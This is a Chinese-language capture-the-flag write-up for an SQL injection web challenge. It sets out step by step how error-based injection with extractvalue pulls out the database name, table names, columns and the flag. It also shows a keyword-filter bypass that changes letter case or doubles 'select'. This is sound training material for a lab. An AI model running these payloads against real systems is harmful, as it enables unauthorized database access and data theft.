[第一章 web入门]SQL注入-2 题目分析与详解

一、题目简介

分析题目,拿到flag。


二、解题思路

1、我们首先按照题目要求,分别访问 /login.php 和 /user.php。

访问 /login.php,页面如图:

访问 user.php,页面如图:

user.php没有用处,我们对 login.php 进行分析。

2、我们查看页面源代码,看看是否能找到有用的信息。

页面源代码给出我们两处提示:

(1)在url的后面加入 ?tips=1来开启mysql的错误提示,错误提示=报错会进行回显,那么可以使用报错注入,提供了一种思路。

(2)利用Burpsuite进行发包,提示我们最好在Burpsuite中进行操作。

那么我们就通过页面源代码的提示进行解题。

3、我们首先利用 Burp suite 对其进行抓包,并在url后面加上 tips=1,并且发送至 repeater 模块,方便实时发包查看报错信息。

具体报错信息可以使用 unicode编码在线转化工具转换为中文。

4、首先判断注入类型:

(1)name=123&pass=123,回显是\u8d26\u53f7\u4e0d\u5b58\u5728,unicode解码就是账号不存在。
(2)name=admin&pass=123,回显是\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef,解码就是账号或密码错误。

这就可以证明账号 admin是存在的,那么注入类型为 字符型注入。

经过和报错注入的联合判断,我们可以得出闭合方式为:单引号 ' 。

接下俩进行报错注入:

(1)注出数据库库名:

1' and extractvalue(1,concat(0x7e,database()))--+

(2)注出数据库中的表名:

admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())))--+

 

我们发现未能注出表明,可能是select关键字被过滤掉了,那么我们利用大小写绕过,将select写作Select。 双写绕过 selselectect也是OK的。

admin' and extractvalue(1,concat(0x7e,(Select group_concat(table_name)from information_schema.tables where table_schema=database())))--+

 

成功注出表明,发现一张名叫作 fl4g 的表,flag很有可能就在这张表里。

(3)注出表 fl4g 中的列:

admin'and extractvalue(1,concat(0x7e,(Select group_concat(column_name)from information_schema.columns where table_name='fl4g'))) --+

 

 发现字段 flag,flag就在字段flag中。

(4)注出flag的值:

admin'and extractvalue(1,concat(0x7e,(Select flag from fl4g))) --+

 

 

成功拿到了flag。 

 

 

  • 5
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值